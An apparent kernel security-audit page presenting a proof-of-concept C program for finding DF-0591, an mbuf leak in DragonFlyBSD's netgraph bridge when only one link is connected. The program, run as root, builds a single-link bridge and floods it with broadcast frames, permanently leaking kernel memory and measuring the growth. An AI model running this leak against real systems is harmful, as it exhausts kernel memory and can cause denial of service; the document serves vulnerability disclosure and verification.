DragonFlyBSD Kernel Audit
DF-0591 / leak.c
← back to finding ↓ download raw
/*
 * DF-0591 PoC: legacy ng_bridge mbuf leak when numLinks == 1.
 *
 * Bug: ng_bridge_rcvdata() at sys/netgraph/bridge/ng_bridge.c:663 has a
 * fan-out loop guarded by
 *
 *   for (linkNum = i = 0; i < priv->numLinks - 1; linkNum++) { ... }
 *
 * When the bridge has exactly ONE connected link (numLinks == 1),
 * `numLinks - 1 == 0` and the loop body never executes. The loop body is
 * the ONLY place the original mbuf `m` is consumed (m2 = m at :674, the
 * "last link" branch). So when the loop never runs, m is never freed and
 * never handed off -- the function falls through to `return (error)` at
 * :709 without ever calling NG_FREE_DATA(m, meta). One mbuf per packet
 * is leaked permanently.
 *
 * Trigger: any frame that reaches the fan-out block, i.e. any broadcast,
 * multicast, or unknown-unicast destination MAC, delivered to a bridge
 * that has only its incoming link connected.
 *
 * Reproduction strategy
 * ----------------------
 * We build a single-link bridge entirely from userland using the ng_socket
 * data API (no ng_eiface / ng_iface required -- avoids the if_attach()
 * panic in the netisr context). We:
 *
 *   1. open an AF_NETGRAPH control socket (auto-creates an unnamed socket
 *      node, which we then name "df591");
 *   2. issue NGM_MKPEER on it to create a `bridge` node whose `link0` hook
 *      is connected to our socket node's `out` hook  -- the bridge now
 *      has exactly ONE connected link, so numLinks == 1;
 *   3. open an AF_NETGRAPH NG_DATA socket bound to the same node;
 *   4. sendto() a broadcast Ethernet frame on the data socket, addressing
 *      the local "out" hook. ng_socket's ngd_send() looks up the local
 *      hook by name and NG_SEND_DATA()'s the mbuf down it -- the bridge
 *      receives it and (because numLinks == 1) leaks it.
 *
 * Watch `netstat -m` "mbufs in use" climb by one per sendto() and never
 * come back down. The leak is straight-line: no race, 100% reliable.
 *
 * Build:  cc -O2 -o leak leak.c
 * Run:    ./leak [count]    (default count = 5000)
 * Notes:  must be run as root (ng_socket needs root on this guest).
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <net/ethernet.h>

#include <netgraph/socket/ng_socket.h>
#include <netgraph/ng_message.h>
#include <netgraph/bridge/ng_bridge.h>

#define OUR_HOOK	"out"		/* local hook on our socket node */
#define PEER_HOOK	"link0"		/* hook on the bridge */
#define NODE_NAME	"df591"		/* our socket node name */

/* Ethernet broadcast frame: dst=bcast, src=02:00:00:00:00:01, type=0x0800 */
static unsigned char bcast_frame[] = {
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff,	/* dst = broadcast */
	0x02, 0x00, 0x00, 0x00, 0x00, 0x01,	/* src */
	0x08, 0x00,				/* ethertype IPv4 */
	0x45, 0x00, 0x00, 0x14, 0x00, 0x00,	/* minimal IP header */
	0x00, 0x00, 0x40, 0x00, 0x40, 0x11,
	0x00, 0x00, 0x7f, 0x00, 0x00, 0x01,
	0x7f, 0x00, 0x00, 0x01,
};

/* Read "mbufs in use" from `netstat -m` output. Returns -1 on parse error. */
static long
mbufs_in_use(void)
{
	FILE *p = popen("netstat -m 2>/dev/null", "r");
	char line[256];
	long n = -1;

	if (p == NULL)
		return -1;
	while (fgets(line, sizeof(line), p) != NULL) {
		if (sscanf(line, "%ld mbufs in use:", &n) == 1)
			break;
		if (sscanf(line, "%ld mbufs in use", &n) == 1)
			break;
	}
	pclose(p);
	return n;
}

/* send a generic netgraph control message to our own node ("." path). */
static int
ng_msg(int cs, u_int32_t cmd, u_int32_t cookie, const void *arg, size_t arglen)
{
	struct sockaddr_ng sg;
	struct ng_mesg *msg;
	char msgbuf[sizeof(struct ng_mesg) + 256];
	size_t total;

	if (arglen > 256) {
		errno = EINVAL;
		return -1;
	}
	memset(msgbuf, 0, sizeof(msgbuf));
	msg = (struct ng_mesg *)msgbuf;
	msg->header.version = NG_VERSION;
	msg->header.typecookie = cookie;
	msg->header.cmd = cmd;
	msg->header.arglen = arglen;
	if (arglen)
		memcpy(msg->data, arg, arglen);
	total = sizeof(*msg) + arglen;

	memset(&sg, 0, sizeof(sg));
	sg.sg_len = sizeof(struct sockaddr_ng) - sizeof(sg.sg_data) + 2;
	sg.sg_family = AF_NETGRAPH;
	sg.sg_data[0] = '.';		/* path = our own node */
	sg.sg_data[1] = '\0';

	return (int)sendto(cs, msgbuf, total, 0,
			   (struct sockaddr *)&sg, sg.sg_len);
}

int
main(int argc, char **argv)
{
	struct sockaddr_ng sg;
	struct ngm_mkpeer mkp;
	struct ngm_name nm;
	char ascii_buf[64];
	int cs, ds;		/* control socket, data socket */
	long count = (argc > 1) ? atol(argv[1]) : 5000;
	long mbufs_before, mbufs_after;
	ssize_t sent = 0;

	/* 1. control socket -> auto creates an unnamed ng_socket node */
	cs = socket(AF_NETGRAPH, SOCK_DGRAM, NG_CONTROL);
	if (cs < 0) { perror("socket(NG_CONTROL)"); return 1; }

	/* 2. name our node so we can address it for the data-socket connect() */
	memset(&nm, 0, sizeof(nm));
	strlcpy(nm.name, NODE_NAME, sizeof(nm.name));
	if (ng_msg(cs, NGM_NAME, NGM_GENERIC_COOKIE, &nm, sizeof(nm)) < 0) {
		perror("sendto(NGM_NAME)");
		return 1;
	}

	/* 3. open data socket and CONNECT it to the named control node.
	 *    A bare socket(NG_DATA) leaves pcb->sockdata NULL, so the first
	 *    sendto() would fail with ENOTCONN; connect() links them.
	 *    Note: ng_path_parse needs "name:" to mean "node <name> at .". */
	ds = socket(AF_NETGRAPH, SOCK_DGRAM, NG_DATA);
	if (ds < 0) { perror("socket(NG_DATA)"); return 1; }
	{
		struct sockaddr_ng tgt;
		char path[NG_NODESIZ + 4];
		memset(&tgt, 0, sizeof(tgt));
		snprintf(path, sizeof(path), "%s:", NODE_NAME);
		tgt.sg_len = sizeof(struct sockaddr_ng) - sizeof(tgt.sg_data)
			     + strlen(path) + 1;
		tgt.sg_family = AF_NETGRAPH;
		strlcpy(tgt.sg_data, path, sizeof(tgt.sg_data));
		if (connect(ds, (struct sockaddr *)&tgt, tgt.sg_len) < 0) {
			perror("connect(NG_DATA)");
			return 1;
		}
	}

	/* 4. NGM_MKPEER: create a `bridge` node and peer our "out" hook
	 *    with its "link0" hook. numLinks on the bridge is now 1. */
	memset(&mkp, 0, sizeof(mkp));
	strlcpy(mkp.type, NG_BRIDGE_NODE_TYPE, sizeof(mkp.type));
	strlcpy(mkp.ourhook, OUR_HOOK, sizeof(mkp.ourhook));
	strlcpy(mkp.peerhook, PEER_HOOK, sizeof(mkp.peerhook));

	if (ng_msg(cs, NGM_MKPEER, NGM_GENERIC_COOKIE,
		   &mkp, sizeof(mkp)) < 0) {
		perror("sendto(NGM_MKPEER)");
		fprintf(stderr,
		    "Hint: kldload ng_socket ng_bridge first.\n");
		return 1;
	}

	fprintf(stderr,
	    "DF-0591: built single-link bridge (numLinks==1)\n"
	    "         %s:%s <-> bridge:%s\n"
	    "         injecting %ld broadcast frames via ng_socket...\n",
	    NODE_NAME, OUR_HOOK, PEER_HOOK, count);

	mbufs_before = mbufs_in_use();
	fprintf(stderr, "         mbufs in use BEFORE: %ld\n", mbufs_before);

	/* 5. inject `count` broadcast frames into the bridge's only hook. */
	memset(&sg, 0, sizeof(sg));
	sg.sg_len = sizeof(struct sockaddr_ng) - sizeof(sg.sg_data)
		    + strlen(OUR_HOOK) + 1;
	sg.sg_family = AF_NETGRAPH;
	strlcpy(sg.sg_data, OUR_HOOK, sizeof(sg.sg_data));

	for (long i = 0; i < count; i++) {
		ssize_t n = sendto(ds, bcast_frame, sizeof(bcast_frame), 0,
				   (struct sockaddr *)&sg, sg.sg_len);
		if (n < 0) {
			if (errno == ENOBUFS)
				continue;	/* keep going; still leaked */
			perror("sendto");
			break;
		}
		sent++;
	}

	mbufs_after = mbufs_in_use();
	fprintf(stderr, "         sent=%zd / requested=%ld\n", sent, count);
	fprintf(stderr, "         mbufs in use AFTER:  %ld\n", mbufs_after);
	if (mbufs_before >= 0 && mbufs_after >= 0) {
		long delta = mbufs_after - mbufs_before;
		fprintf(stderr, "         DELTA: %ld mbufs leaked\n", delta);
		if (delta > 0) {
			fprintf(stderr,
			    "DF-0591 REPRODUCED: mbuf pool grew by %ld\n",
			    delta);
		} else {
			fprintf(stderr,
			    "DF-0591 NOT REPRODUCED: no growth\n");
		}
	}

	(void)cs;
	(void)ds;
	snprintf(ascii_buf, sizeof(ascii_buf),
	    "netstat -m | head -2; echo; "
	    "ngctl show %s: 2>&1 | head -20", NODE_NAME);
	fprintf(stderr, "\n--- post-run snapshot ---\n");
	if (system(ascii_buf) != 0)
		;

	return 0;
}